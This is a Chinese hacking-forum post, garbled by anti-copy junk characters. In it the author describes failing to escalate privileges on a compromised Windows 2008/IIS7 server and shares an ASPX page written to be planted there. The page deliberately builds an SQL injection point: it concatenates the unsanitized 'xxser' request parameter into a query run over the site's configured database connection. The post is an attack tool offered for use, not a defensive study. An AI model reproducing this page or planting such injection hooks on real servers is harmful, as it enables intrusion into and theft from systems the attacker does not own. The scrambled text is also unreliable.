昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。* f! X( \+ P# K: D( W8 S
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。; t% [" E* v0 u3 [. k, H3 T: ?: {& o
代码量不多,自己写个拉倒了。烦死了。1 \; w2 s# d. P$ a' t
- S/ p2 N. {7 u( \, J B+ E7 W- S+ X
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
; J6 v: { t% ?2 ^- e<html xmlns="http://www.w3.org/1999/xhtml">
\1 x9 R: M* B: X% ~<head runat="server">+ e& R2 w# d! {- _7 ^. R
<title>暗影aspx构造注射专用页面</title>+ [" f5 W9 x5 C5 T0 O) I' X
</head>
, Y( ]! F1 P6 p) r2 A<body>
% p5 L/ [& y& |8 O3 l7 L <form id="form1" runat="server">
0 r* }$ ^! i6 z4 T. `0 K/ @/ \ D! b* T <div>
8 w* p W( W' E7 Y+ x' W$ W1 e <script language="c#" runat="server">
5 ~' g! ]! e2 H' z, I0 v
5 H; ?, p. G+ ?! A4 ` void page_init(object sender, EventArgs e), @! T1 L! O5 X$ h
{
0 |4 R2 y) y- K [0 ~4 b% G! o
2 n; \) a+ r" P2 e System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();, q: O5 O& H+ \, G/ q
9 G/ Z) w, h) f9 S
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();
D+ w- M& s: o9 w2 m! w5 L7 u& a conn.Open();+ L$ ^5 F& }, H* `2 Z
0 [; ^! F/ R/ W, S4 l( B8 G string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=15 S. h8 N4 c0 d
6 p$ b9 g' h% F System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
" ^; S; a- q& J- C, u. H2 \$ A int x = command.ExecuteNonQuery();
& q2 c# D8 H" D N" @. f Response.Write(i+"\n");
4 O& j6 @: ]! {0 s8 X5 A Response.Write(x);
0 o: `( X8 J: z m0 W5 i conn.Close();& T1 _5 o2 c& {% \2 l0 n: @
}
: b" `* W, L5 ~. R& r
. z' b K- L; `. c. q- m+ E& W </script>! s9 ?6 S) ^3 L$ C: R
</div>
T+ r( U# o' q: @9 D Z </form>3 _& e: @/ K9 P* ?6 {0 X8 |
</body>
* G- J: o+ y+ @5 O9 r5 W8 }</html>
& N/ w, v9 C0 ^ s |